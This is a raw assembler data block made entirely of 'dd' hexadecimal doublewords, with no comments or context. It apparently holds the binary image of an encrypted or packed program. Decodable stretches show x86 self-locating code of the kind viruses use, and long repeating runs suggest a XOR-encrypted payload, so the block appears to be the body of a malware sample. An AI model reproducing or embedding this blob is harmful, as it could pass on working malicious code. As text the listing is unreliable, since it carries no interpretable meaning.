		dd 0B5FFD6B4h, 64430F5h, 11E8h,	3C548200h, 9674C7E7h, 2DDEE3FCh
		dd 0AFBDBC51h, 952BC484h, 6441C31h, 0D281665Eh,	95FF57B2h
		dd 6440BF9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	56C35141h, 0E71C6802h, 502408E7h, 6820FC7h, 8B000000h
		dd 441D4DBDh, 0FF006A06h, 441C4D95h, 0EBC08B06h, 33F35D2Bh
		dd 0FE1F18C2h, 8BE4D73Dh, 0E447A33h, 0A6941399h, 0F4ED61F6h
		dd 3260D337h, 0CE76EB6Fh, 1CE48A81h, 0DBC9D483h, 3FE0D81h
		dd 8E8h, 4A7E8000h, 969443B4h, 89858BDCh, 59064409h, 0FC63B866h
		dd 72BAC181h, 95330000h, 6441665h, 7F6524BEh, 0A9F68147h
		dd 0B477F79h, 441DC19Dh, 8031FF06h, 505FAFC2h, 0D0D958Bh
		dd 81580644h, 4D27A8F7h, 8E912h, 52D20000h, 0FB4ED10Dh
		dd 0C781C699h, 69DBB687h, 81D08B66h, 0FEE886F7h, 419D0154h
		dd 5706440Ch, 0CDD850Bh, 18F0644h, 83D8BF0Fh, 0BD0904E9h
		dd 6442F85h, 0F01EE83h,	0FFFFAC85h, 79850BFFh, 5306441Eh
		dd 5DB13EE8h, 0ACF23256h, 55F20102h, 0ABB13256h, 0D5B13256h
		dd 0EAE8B4E2h, 75EB9750h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13254h, 57BB3581h, 0ABA33252h
		dd 0D5B5325Ch, 0E85C3263h, 77F63256h, 0B8F63256h, 5DBADBC3h
		dd 0AAA63256h, 270210BBh, 37BE5CBFh, 0D35862F3h, 0ACB13256h
		dd 0A7EC0651h, 0BAB1A7F5h, 24F8BD6h, 0D5BB47FAh, 9367C4D7h
		dd 0A7580DFAh, 91B13256h, 5A42507Bh, 0A9FE9C7Fh, 27DA88B3h
		dd 3BD1A237h, 7B09CADDh, 36D7A32Dh, 21D10359h, 43A5494h
		dd 78E96837h, 7C580359h, 17B13256h, 0F48141B4h,	0CBEDFD78h
		dd 0FEB6A0Ch, 42C132C6h, 702D3D38h, 0B2EB192Ch,	0B8216A0Ch
		dd 0DB2CA1D4h, 49580359h, 52B13256h, 0BFBAE8D3h, 3F569457h
		dd 0D532006Bh, 0C66E4C6Fh, 2F4AB8A3h, 0DA80A20Eh, 5DB13EBEh
		dd 6CBC9656h, 59B82285h, 0B1740E79h, 0D9596C1Dh, 3EB13256h
		dd 3572402Bh, 0D6AE8C2Fh, 38AF863h, 27E96837h, 0BEB51612h
		dd 0ABB1325Fh, 0A50210BBh, 76BE5CBFh, 0CD96AF3h, 0BC5813F6h
		dd 7BB13256h, 1C0C2631h, 36E8AF55h, 20EB370Eh, 0B297B33Eh
		dd 0E9038F42h, 2A4F8BD6h, 0C1BB47FAh, 599576DFh, 0A9586006h
		dd 0A4B13256h, 0E41F1BE6h, 0E4BED78Ah, 85C58836h, 7D580625h
		dd 5AB13256h, 518E6CCFh, 0CFEA5803h, 57E96A0Ch,	0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
		dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
		dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
		dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
		dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
		dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
		dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
		dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
		dd 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h, 17D32EBCh
		dd 0A434BF50h, 0DEB77B96h, 0E1EE40D4h, 8933BF50h, 63B77888h
		dd 3FEE44D4h, 0B3FFDA50h, 26593256h, 69B13256h,	1DEE50D4h
		dd 0ABB13250h, 50776056h, 0ECF530BFh, 0CDE35A00h, 0F4EAEFEh
		dd 5BF525BFh, 0D91EB7DBh, 874E3411h, 806CB7DFh,	0D1DB3412h
		dd 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h, 27824696h
		dd 1DEE50D4h, 0CD33BB50h, 6CB77809h, 0EAB23F16h, 0B582CADDh
		dd 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h, 7623CD56h
		dd 8FB7767Dh, 0B507B0DFh, 0FED0341Ch, 0F0EE50D3h, 9AD1F150h
		dd 0EA94F3D4h, 17B13250h, 7A33F556h, 0D5B77679h, 8BB13246h
		dd 0CF3A5295h, 0BCFB6D34h, 29B10DD5h, 0BECEB175h, 0D4BA4654h
		dd 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h, 7D43D956h
		dd 5DB22211h, 475A3256h, 0DCE4F137h, 0AB5952BAh, 8FB13256h
		dd 89A0D8D7h, 0C73A341Ch, 0BCFB6DECh, 0D4B977DDh, 1433B150h
		dd 53B77809h, 0AF73FB37h, 0D5595256h, 0B0B13256h, 1684D8D7h
		dd 83A341Ch, 5BFB6DE0h,	0F10B806Dh, 6CC5341Ch, 743A0CDDh
		dd 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh, 0D83A7115h
		dd 0A8F5133Bh, 49ACBFDDh, 738A3412h, 0C8A3B24h,	2C323721h
		dd 4E78D952h, 33B94699h, 19AF2FEBh, 0CF06D950h,	57595295h
		dd 0F1B13256h, 0B63CD8D7h, 503A341Ch, 73FB6DE0h, 0BAB032EFh
		dd 0AE710156h, 1833B9FDh, 0DEB77809h, 0E1EE88D4h, 0B5725350h
		dd 0EAB132BEh, 9F306856h, 0BCFB51E1h, 5F58B790h, 0C6E73412h
		dd 83AE5F6Fh, 0BC5887A9h, 503C3412h, 0ECF645F9h, 25E3E2A9h
		dd 0BA31323Eh, 0A2B15856h, 0E4EE50E4h, 0F61CD50h, 2BB15A0Ch
		dd 0D5DB3256h, 0B50780A9h, 0A54E341Ch, 31E4F137h, 5D5952BAh
		dd 0F4B13256h, 33B4D8D7h, 0DE3A341Ch, 0D729DA5Eh, 15E43256h
		dd 3FEE40C4h, 0CF8A6F50h, 0B55F475Ah, 0AEB130D0h, 5F73FB37h
		dd 473A6756h, 834DF6D5h, 0EA596101h, 2FB13256h,	0DE88D8D7h
		dd 283A341Ch, 0BECCB95Eh, 60596401h, 0A0B13256h, 5E904696h
		dd 784E67AEh, 73FB6D24h, 0B6C4090Bh, 0D6D72022h, 5E56B248h
		dd 0B4312CDCh, 0AD2CDAA6h, 15A3256h, 24D4FDFh, 8A4ECC0Bh
		dd 31EF6D0Dh, 9F78CE13h, 25E4325Ah, 0AF75B1BAh,	0F8E06401h
		dd 0D5497791h, 2DB13256h, 3FEE90D4h, 0BAB13350h, 55C4B956h
		dd 25AFB930h, 1DEE50ECh, 0A3EEB950h, 0DAC5E95Dh, 0ECC4EC6Dh
		dd 0FCBD6FDDh, 7D323E09h, 3B5BD942h, 55312CDDh,	99353DBEh
		dd 2BB13256h, 51BEDBADh, 0EAB13293h, 7A5AC9D6h,	0BAB18ED2h
		dd 0BF4AB256h, 0AE1DB659h, 0AC313256h, 31353DB5h, 0B3B13256h
		dd 9D6C9D7h, 7529B659h,	5D313256h, 0A63054A6h, 2ABEB259h
		dd 57B132C7h, 2B41D1D6h, 51BE42ADh, 0EAB132D3h,	0F5AFB930h
		dd 4131CAB5h, 0DDF346EEh, 93C53768h, 239C0CD6h,	0C38FB26Eh
		dd 574E0122h, 0ECFB6DF4h, 0F5AFB930h, 3BD7CAB1h, 2959B3ADh
		dd 0B03A5476h, 3141D5D6h, 6B30C9D7h, 80D12122h,	0B5C3A0A9h
		dd 0FCEC341Ch, 39D0CE13h, 28B0CE2Bh, 6F0BB935h,	7B77673h
		dd 0F413B0DDh, 0E988341Ch, 0BAC36A66h, 5A6088DDh, 31E13412h
		dd 17EE90D4h, 9E8D0B50h, 0BC8C4D0Eh, 53F4F546h,	0D5B13254h
		dd 0AF7635BDh, 75B133AEh, 0D80BB956h, 0D6B77809h, 0DA6A3949h
		dd 226F0949h, 0A7ECB959h, 0D5494FD5h, 0B7B23122h, 71EEBBAEh
		dd 51A5F5D5h, 0B47101B4h, 0AEB13296h, 0DCAFB930h, 50313E2Bh
		dd 55BB46BDh, 1131C2B5h, 9EA74626h, 53B6F464h, 5DB07591h
		dd 25B13256h, 5271B191h, 0ABB1A5BFh, 0D2765456h, 0F43B3A59h
		dd 0F5BED1D6h, 0E539B29Dh, 5FF6F557h, 0AEB13256h, 9732F5DDh
		dd 0CDC8D950h, 45210CD7h, 0D4313D22h, 13BF47C6h, 2A4E4CD7h
		dd 0B6B346C6h, 4576B952h, 0E933BF09h, 0FBB77809h, 0A323CD00h
		dd 0E1B77809h, 0FEBB4696h, 403BF9Eh, 0B6B77809h, 603A6446h
		dd 2523CD03h, 0F6B77809h, 0C46FC7Dh, 12CCB108h,	0C5A14757h
		dd 2D7981Fh, 0F6D7B759h, 0AFF78459h, 0D4AAD9FDh, 0DEB3CA2Bh
		dd 0DE095445h, 8C1A549Fh, 13353DEEh, 0FC073DFDh, 5F5A9957h
		dd 693A96A5h, 8EF6B0Dh,	0ABB9F09Fh, 0B55DB903h,	0EAB132BEh
		dd 9F306856h, 0BCFB54C1h, 0D4B977DDh, 0E4EE58D4h, 95785350h
		dd 20E43252h, 2D75B1BAh, 0EAB1DA36h, 0F4EB3256h, 0F0D78ABCh
		dd 0A5F4F550h, 0AEB13256h, 574D7791h, 98B13256h, 0CB3A5496h
		dd 0B513B091h, 75B0341Ch, 3BD73256h, 2821A2ADh,	464AB256h
		dd 56B9B659h, 2BF13256h, 51BEDBADh, 0EAB132A8h,	9E4AB216h
		dd 0BA45B659h, 0DDF13256h, 2FD7C2B1h, 58313DADh, 0ABB1D7D2h
		dd 0CC333156h, 0AAB7764Ah, 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h
		dd 0AE0DB659h, 0D6D73256h, 0A45255ADh, 0D5B188D2h, 1A52B256h
		dd 7AC1C9D6h, 0BAB187D2h, 433A5456h, 2E49D1D6h,	10C58AADh
		dd 0DFB40CD6h, 0F88FB214h, 0D4310F22h, 3589463Eh, 0E513B0A9h
		dd 0D6D7341Ch, 5656B248h, 0D64AB330h, 0CD9546BEh, 32312CDDh
		dd 113054A6h, 62C5F2D7h, 284E6736h, 5BFB6D24h, 52F4BB0Bh
		dd 0ABCCB137h, 83343D57h, 5EB13257h, 0AE94F3ECh, 0F73A6250h
		dd 0BCFB6DF4h, 5810E6Fh, 0AFA0B059h, 0ED3A3256h, 0ADF51D87h
		dd 7733B906h, 0D3B77809h, 7AE9026Ah, 0BAB1C8D9h, 3B0BB956h
		dd 2DB77809h, 1DEE54D4h, 9C382650h, 85A175DFh, 0B513B0DDh
		dd 693A341Ch, 0E5386A66h, 5D64DB5Eh, 0EB763256h, 57B130AEh
		dd 6CB6D956h, 0D5B0CA13h, 503A3256h, 73FB6D30h,	0E5D7B0D5h
		dd 0D4A5341Ch, 0BEF6BB61h, 22B2CAD5h, 933F55Ah,	0D7B77809h
		dd 1B13256h, 7749B153h,	0C7326D2Bh, 46C532AEh, 0AFF78459h
		dd 57B1B2FFh, 0EBB74756h, 3EB4DAD5h, 0EA4E1F5Eh, 9D323256h
		dd 0E9BAD953h, 213A8DDh, 0AA3A341Ch, 57186965h,	0DE313256h
		dd 56773142h, 68B23796h, 73FB6DF4h, 0B2F6BB1Eh,	0B6BD75DFh
		dd 8569C500h, 0D469C590h, 29B23796h, 0D3FB6DF4h, 0E2F6BB1Eh
		dd 9EBD75DFh, 30710168h, 0DD193310h, 68B21323h,	0ECB3F2D5h
		dd 0ABB13257h, 0DCC5E95Dh, 7FBFA8DCh, 9631341Fh, 33723157h
		dd 1A383A11h, 59A5D95Ah, 574E178Eh, 6D9A3256h, 1532EAA1h
		dd 0E2F6BB54h, 8DBD75DFh, 0EF72FB37h, 9932DEDDh, 0AE5952AAh
		dd 0DB13256h, 0C378D8D7h, 6F3A341Ch, 0ECFB6D34h, 4A32FB65h
		dd 78353D56h, 0D6B13256h, 0A2C4CD51h, 7B947A9h,	0ABB041BEh
		dd 56B44156h, 85A2691h,	8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh
		dd 0AEB1330Ah, 5726B059h, 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h
		dd 89F4CD56h, 0BAB54DD5h, 22323A22h, 0ACC5325Ah, 0A8093CBDh
		dd 124ECDA9h, 0D5B13253h, 295A99A5h, 70A14DD5h,	0C5323D22h
		dd 4CC43446h, 0AAF6B917h, 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh
		dd 0EEF6B96Fh, 4EBD6DDDh, 0AFC43A09h, 59E6B904h, 0ADA1677Dh
		dd 83A2603h, 286B195Ah
		dd 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh, 51323609h,	0EC3B3153h
		dd 2DB77659h, 22B22229h, 729A7357h, 0D4B06EDFh,	154ECDEEh
		dd 75B48BA9h, 11423256h, 0A24E64BFh, 6C7853A9h,	0DCE43246h
		dd 5775B1BAh, 0D5B1DA36h, 6BEB3256h, 3FD886BCh,	0D80BB950h
		dd 6EB77809h, 0AE8EB19Fh, 5720B659h, 0AC3A3256h, 2ABD47A9h
		dd 2E13A23h, 75B132DEh,	7D323725h, 0D453D942h, 0DB4ECE13h
		dd 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h, 16F4B93Ch, 16C3356Fh
		dd 394D77A9h, 29B13629h, 0A2CEB15Eh, 0BCB34656h, 544E8A58h
		dd 0D008CDA9h, 19B13256h, 0F67AD9FDh, 0CEB42229h, 4DCEB159h
		dd 0EFA04750h, 0DCB575DDh, 0B65A3E09h, 5EB575DDh, 0F95A3E09h
		dd 0FEB575DDh, 0E59A3E09h, 585AB152h, 0ADA14DD5h, 7CF03323h
		dd 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h, 86B13256h, 0DB36D9FDh
		dd 5DB9F09Fh, 0CE5DB903h, 6CB977DDh, 0A3C33E13h, 0A2A1776Dh
		dd 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h, 46D1CE92h
		dd 57B13256h, 215BB30Ch, 0E6B7783Ch, 636A019Fh,	0CF3ACE0Bh
		dd 0BCFB6D34h, 29B10DD5h, 518EB132h, 90323723h,	2840D942h
		dd 0A1B13629h, 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h
		dd 0BECEB18Dh, 0D4BE4653h, 0DEB72229h, 923A7347h, 0E6EEB952h
		dd 323A2FBDh, 0B6EEB952h, 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh
		dd 0D43237BDh, 0D4C43146h, 63681917h, 0CDB0330Ah, 454ECDA9h
		dd 5DB137EFh, 451AC156h, 123A53C1h, 0FB72FBAAh,	0D5596107h
		dd 0B0B13256h, 1EA4D8D7h, 203C341Ch, 5BFB6D2Ch,	0AEB156EEh
		dd 5763DA56h, 0A03A3256h, 0C15AF36Dh, 0D1B57955h, 76A64097h
		dd 7B8A221Dh, 5F5A3024h, 0BC5A26BDh, 0A9BEA8DBh, 784E341Ch
		dd 4F3C3ABDh, 0ECFA3363h, 2CEAE1A9h, 31E4F10Eh,	5DB1DABAh
		dd 2FEB3256h, 1DDA56BCh, 113C5250h, 0D3FB6D2Ch,	63B977DDh
		dd 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah,	36A175DFh
		dd 0ABA1F09Fh, 3C34F436h, 0ADB77654h, 62C2283Eh, 5304CDFEh
		dd 0D0B77641h, 0E9C69DD3h, 561CD50h, 0F417B8DBh, 2AE0341Ch
		dd 683C6886h, 73FB6DF0h, 0B6F18559h, 52E3EADDh,	6DB26867h
		dd 47A0B0DFh, 0C3D03412h, 0E85251h, 5A000000h, 6BD5EA81h
		dd 8B52064Ah, 44101182h, 4E6DB906h, 0E1F741C6h,	3039055Ah
		dd 0FF250000h, 897FFFFFh, 44101182h, 0C3595A06h, 0E85251h
		dd 5A000000h, 6C05EA81h, 0C88B064Ah, 0FFFFBBE8h, 0F7D233FFh
		dd 5AC28BF1h, 0C08BC359h, 858DC08Bh, 64A6216h, 8B66D0FFh
		dd 0CE858DC1h, 89064A6Bh, 440FD985h, 0FE858D06h, 89064A6Bh
		dd 441E0D85h, 0B806h, 0C00B0000h, 47840Fh, 85C60000h, 64402E9h
		dd 30DF6856h, 0B5FFA9C5h, 64417E9h, 77AF858Dh, 0D0FF0647h
		dd 0E98D8D50h, 51064432h, 68046Ah, 0FF000010h, 442519B5h
		dd 8BD0FF06h, 442519BDh, 3C7F0306h, 0F8C781h, 47C70000h
		dd 2024h, 799D8D60h, 8B064408h,	0FC00B03h, 584h, 89008B00h
		dd 0F6B90443h, 8D00234Ch, 4A6D248Dh, 0B19D8B06h, 89064429h
		dd 442F5D8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 8BB7B6A5h, 7985C7D6h, 0B0064406h
		dd 89000072h, 44005585h, 59958906h, 0C7064415h,	44107185h
		dd 6, 0FFFBB200h, 441F39B5h, 61BD8B06h,	0FF064424h, 440BF995h
		dd 0A5B52906h, 6A064431h, 4D95FF00h, 8B06441Ch,	435DEBC0h
		dd 0BF017F5Eh, 3E7CA423h, 733DC2B6h, 73E778DDh,	3B27168Fh
		dd 3C35668Ah, 87162FF6h, 0CB253DD4h, 0AE7D64FBh, 50B333F2h
		dd 709E15FCh, 896288Dh,	2AF7FF0Dh, 7AEFC43Fh, 9B9ABCF8h
		dd 9E2DED10h, 41BCD5D8h, 0E76F3EC7h, 0B8372300h, 0DF613878h
		dd 0DEBD25B7h, 0F155FE07h, 9B6A7Ah, 177708EBh, 2C2h, 6AE90000h
		dd 6800000Bh, 64A6F26h,	0FADACFE9h, 700C68FFh, 0C5E9064Ah
		dd 68FFFADAh, 64A719Ch,	0FADABBE9h, 727F68FFh, 0B1E9064Ah
		dd 68FFFADAh, 64A73F7h,	0FADAA7E9h, 760A68FFh, 9DE9064Ah
		dd 68FFFADAh, 64A771Bh,	0FADA93E9h, 123589FFh, 0CCEB5477h
		dd 17308AA9h, 0CDEA5172h, 11368BA8h, 41B86074h,	9DBEDBFCh
		dd 42610423h, 9AB9DCFBh, 0E1600522h, 0AE902682h, 0F0A73161h
		dd 0CDEA5277h, 4A6DD5F6h, 9956052Fh, 0A0215EFAh, 9C003DE7h
		dd 0E3A903A7h, 9B20316Fh, 0A299BE03h, 0BA99A23Eh, 0CA7CD800h
		dd 0ED316FE3h, 0F3D6ED71h, 87C72A52h, 0EF1EF626h, 5D77F2C6h
		dd 3Fh,	0C7A05BDAh, 0B6D700A4h,	0F66A3DE7h, 0C8C369CDh
		dd 8829316Fh, 535C1254h, 48791EF1h, 0FCC7E059h,	7849FC60h
		dd 77F2B955h, 6BDD791Ah, 8F316FFDh, 7E7DF132h, 0F66AE772h
		dd 0DC0143h, 52860000h,	8DAECDEAh, 0B32F1433h, 0BF0A2D90h
		dd 7CC4E784h, 49FC605Bh, 0CBF0D76Ah, 13348BA8h,	0A53D85A6h
		dd 27043F18h, 0BB27BB9Ch, 3C1BA380h, 0CC85FD59h, 0B008372Bh
		dd 69D1F297h, 0C6A315B1h, 873A372Bh, 2DB12DA0h,	0F5D26D4Eh
		dd 0BF09ADCEh, 80372BC6h, 0E35801Ch, 0DBB87524h, 5C6740F8h
		dd 0B21675C0h, 3DE7CB15h, 97BDD844h, 0B680BE4h,	5B09728h
		dd 0A12358A1h, 7DC0E33Bh, 61FD615Ah, 0F72F6102h, 0C907B8BBh
		dd 53EECD78h, 0C95572CBh, 15328FACh, 6C2B9187h,	38BD865Dh
		dd 903h, 8AEFC874h, 543116A9h, 8FEACD77h, 553017ACh, 89ECCB76h
		dd 1BCDD9Dh, 0DE604326h, 6BF9CF9h, 0DF674421h, 7F1C9DF8h
		dd 61AC6DDBh, 82055231h, 0ADC8EF52h, 7552EDCEh,	7C5BE3C0h
		dd 0A05B9E19h, 0D700A4C7h, 6A3DE7B6h, 0C369CDF6h, 29316FC8h
		dd 2D405488h, 377F2E0h,	0D7h, 0CDEA5284h, 0DF69CDAEh, 0E0372BC3h
		dd 0C65A7DC3h, 0D66B4873h, 166ECAF1h, 0BF372BCCh, 66452007h
		dd 14A206DEh, 0E8372BC7h, 0DCB76904h, 0AB880520h, 37AB3710h
		dd 0BA73260Ch, 6344FAD9h, 6DD8FF40h, 0F54E6D0Eh, 64C367D2h
		dd 0B53DE7A3h, 533DE0FBh, 0F652B5CCh, 316F1440h, 0C277EB77h
		dd 9CB6D34Fh, 0C76300DDh, 3BA1FB2Fh, 0D4F79408h, 56754E69h
		dd 68F4CFE8h, 12241F4h,	0DDFE9BBCh, 0F9D54760h,	0E25D6D94h
		dd 81D5CD9h, 0E25E0000h, 3C83A0C5h, 0E75D7E1Bh,	3D86A5C0h
		dd 0E15C7F1Ah, 3B7A3C6h, 6500279Ah, 0BADFF846h,	62072099h
		dd 0BBDEF941h, 4BFD593Ah, 6C3161B3h, 0EF52BC3Bh, 3088ABC8h
		dd 0C3FA4CE8h, 21BD372Bh, 0AF1A86BDh, 7651E9CAh, 0E8537013h
		dd 52FD7ACFh, 0E0AECDEAh, 0C47112C2h, 2B10A5E0h, 0F297B008h
		dd 274421D8h, 0E7DE9083h, 3407493Dh, 0EF036F5Bh, 0FA66EB5Eh
		dd 7D5AE2C1h, 0A2853D1Eh, 0E9517217h, 9A51F5CEh, 13B8A115h
		dd 91B289AEh, 1133082Fh, 6D258CB0h, 2E9690CCh, 0F74F6C09h
		dd 3CA28902h, 83A09C3Fh, 0E3801C3Bh, 0ED922480h, 86A5BAA1h
		dd 3085193Eh, 0ED04AF0Bh, 2D8CBAA1h, 0AE8931F1h, 7750EECDh
		dd 65D04Ch, 1C822D63h, 989C7931h, 91B60E2Dh, 2DA10EAAh
		dd 0C465BAA1h, 348DAE98h, 1B42813h, 0D8BD9A22h,	5F6443FBh
		dd 8B6A723Ch, 5A59EBDDh, 5916C5EFh, 85A2193Ah, 13305330h
		dd 9C388DAAh, 0B06D449Bh, 0A535F0BEh, 37BB6784h, 0E50D2593h
		dd 1A861AA4h, 12C9E386h, 76553655h, 0FB5FEACDh,	0AE295C40h
		dd 64C0FB67h, 0AD393ECFh, 0BE568627h, 0E423E98Fh, 359FDh
		dd 88D97A00h, 4F2C09B0h, 0E7CE78EBh, 34317F3Dh,	0C3268765h
		dd 93A88F34h, 860F930Fh, 583FC822h, 18A281BEh, 0F9A08A3Fh
		dd 68FB5F3Ch, 61BAB41Bh, 6FDAFD42h, 6F457EE2h, 3490F3ACh
		dd 0B073E36Dh, 0D4F79408h, 0D2E4B6Ch, 0FA0092B5h, 2FC239C7h
		dd 68D9114h, 72CE0000h,	0AC133055h, 77CDEE8Bh, 0AD163550h
		dd 71CCEF8Ah, 73273356h, 0F590B70Ah, 2A4F68D6h,	0F297B009h
		dd 2B4E69D1h, 0DB6DC9AAh, 0DC3161B2h, 5C120C8Bh, 4A6A2CC7h
		dd 80AA1F77h, 0DB7F1CD9h, 3DE785C8h, 5E1073EFh,	405E6493h
		dd 0AF942183h, 7013348Ch, 0F0CBEC53h, 5E4226Ch,	2AAA47D7h
		dd 9CFFA49Fh, 4EF500BFh, 0F898E5E2h, 0E27E45D9h, 0D5C6F657h
		dd 642A4926h, 2E214472h, 99FA4FF0h, 0A34E2E3Dh,	0B0D5493Bh
		dd 370C2B93h, 0B08BAC14h, 1B0B3392h, 0D0E184A3h, 71ADE4BDh
		dd 26593h, 0BFBEF000h, 0CD7BDF07h, 0F23BA251h, 2E96206Eh
		dd 5BE562D7h, 0A4C7A0h,	3DE1553Eh, 0DDFE9D01h, 1224760h
		dd 0DBF89BBCh, 0E37F4463h, 60C96D56h, 0E53161AEh, 5F78C55Dh
		dd 85A151C3h, 0B18A57ACh, 5AA34h, 0B6912D00h, 684FF0D3h
		dd 0B3942E0Dh, 694EF5D6h, 0B5922F0Ch, 0E514C4D0h, 391A7F58h
		dd 0E6C5A087h, 3E1D785Fh, 45C4A186h, 0B1348226h, 5C0B3161h
		dd 0C7A05BDBh, 553E00A4h, 9D013DE1h, 4166DDFEh,	6853E67Ah
		dd 4D06F34Bh, 65A7008Bh, 0D3E553F7h, 46DA3161h,	2346DAh
		dd 0B89F20B8h, 843C1F24h, 228EC0A3h, 82D66D44h,	23013A8Fh
		dd 10A85A82h, 111A5437h, 5CBA468h, 0F5C4A114h, 77EC6ADAh
		dd 19DB6h, 0EA523100h, 0DB95F6CDh, 0A162BAD1h, 5073C6F9h
		dd 80AACFE8h, 5C7F1CD9h, 5FE6C5E2h, 0AAECD78h, 3DE73175h
		dd 0B71328B4h, 316F711Dh, 6E2656F7h, 77F2353Fh,	392Dh
		dd 0A05BAA00h, 0C32A9C38h, 910D372Bh, 172C0BB2h, 0D074178Bh
		dd 3DE7B607h, 0FE9DA63Ah, 5D0281B0h, 3A8CC2E5h,	0BA1EABF0h
		dd 316F4610h, 71235BFAh, 77F2665Eh, 0C732h, 0EA52B500h
		dd 68D5F6CDh, 0B20F2C4Fh, 781B2095h, 4E7A7336h,	7ECB9056h
		dd 993DE55Dh, 372B392Fh, 2B108C10h, 2F45B008h, 2017E43Dh
		dd 132A1658h, 0D9885845h, 0FC842045h, 91372BFEh, 6CD2F129h
		dd 48EC704Bh, 372BF4FEh, 0C17E5DC1h, 351F7AE6h,	6ECAA986h
		dd 3DE51A00h, 0FBD8BB27h, 0FF466542h, 2D0E6DD8h, 65156590h
		dd 5D733D8Eh, 6DD54FF9h, 70EC7031h, 17AA89ECh, 0FEACA230h
		dd 0CAF157A0h, 4324Fh, 3E19A500h, 0E0C7785Bh, 3B1CA685h
		dd 0E1C67D5Eh, 3D1AA784h, 6D8C4C58h, 0B192F7D0h, 6E4D280Fh
		dd 0B695F0D7h, 0CD4C290Eh, 0B0BC0AAEh, 0D4833161h, 0C8EF5253h
		dd 9ADCEADh, 372BC3BFh,	8AA91C80h, 0F7701532h, 0AECDEA52h
		dd 0C72954E0h, 0DD87D2CCh, 3D0A449Eh, 2C17A2EAh, 0F590B70Fh
		dd 290EB596h, 2A03B69Ch, 10EAED49h, 910D3DE7h, 3787C9AAh
		dd 0ED32685Ch, 8915328Ch, 5A2C983Ch, 19B8316Fh,	0A88534E5h
		dd 24E6A8CBh, 0BEF19F02h, 4641E550h, 973BA3E1h,	9DD0DED9h
		dd 11AF48B1h, 7DE4AA36h, 62B1348Ch, 76EA67D2h, 71129413h
		dd 2BC363D5h, 7DC85437h, 0FAC1E65Eh, 0E85EFA99h, 0CF372BC3h
		dd 7DC5E653h, 9A77395Ah, 399815CCh, 3294CF9h, 9FFC9F58h
		dd 2B708D3Bh, 2991B237h, 35A9350Eh, 3847E380h, 0FF3DE713h
		dd 3F738CB1h, 19DC864h,	81349E3Ah, 7FDE316Fh, 0A53A553Fh
		dd 4A1677F2h, 91000000h, 0C178A05Bh, 599B6A34h,	79E5FA84h
		dd 0F52286E5h, 843DE726h, 63402318h, 0EF4BFED9h, 316F5845h
		dd 6F5473CCh, 0E8D3F44Ch, 0CFE85774h, 13D9CF4h,	1F5FFEBEh
		dd 0F2505A75h, 0D0741777h, 316F5466h, 3270C559h, 115h
		dd 893112B5h, 0C343F551h, 0E874372Bh, 66D34F74h, 0E1DAFD45h
		dd 3B587FC2h, 1D02A675h, 0B104A29Dh, 42A7E98Ah,	1B577DFEh
		dd 2098BB0Eh, 0A71F3C07h, 7EC0E380h, 4BFE6259h,	6BF28A2Eh
		dd 239B372Bh, 0FA426104h, 0EAF0BEDDh, 80C75972h, 1D3A85A6h
		dd 0D3F093A8h, 62034D6Ah, 105D1502h, 0A05B71C4h, 0E258C078h
		dd 0FE62FEC5h, 76A50162h, 13DE73Bh, 27D2F89Dh, 0B30E2D4Eh
		dd 8EE1AF94h, 0F1AF3D25h, 9CFF4AD6h, 0A1B35838h, 70CEED3Bh
		dd 45F06C57h, 143754C8h, 5B388DAAh, 0B91DC578h,	3BA0800Fh
		dd 378FAC30h, 8CEF8C10h, 0A0809E28h, 883DA13Bh,	15AD8EEDh
		dd 8814338Dh, 84A31E3Dh, 6DAB5216h, 0F97C475Dh,	21Fh, 0A6C3E458h
		dd 781D3A85h, 0A3C6E15Bh, 791C3B80h, 0A5C0E75Ah, 2D9009B1h
		dd 0F24C6F0Ah, 2A93B0D5h, 0F34B680Dh, 5330B1D4h, 61B541F7h
		dd 0A6217631h, 0AC8B3112h, 0A0873A19h, 0FCE8A6C5h, 4A6DD284h
		dd 0D4C44B04h, 0D86D4AF7h, 16443FBh, 0C7A05B86h, 0D563C7A4h
		dd 0EA372BC3h, 5E9F63A4h, 3CA03ABFh, 994EEA89h,	983DE772h
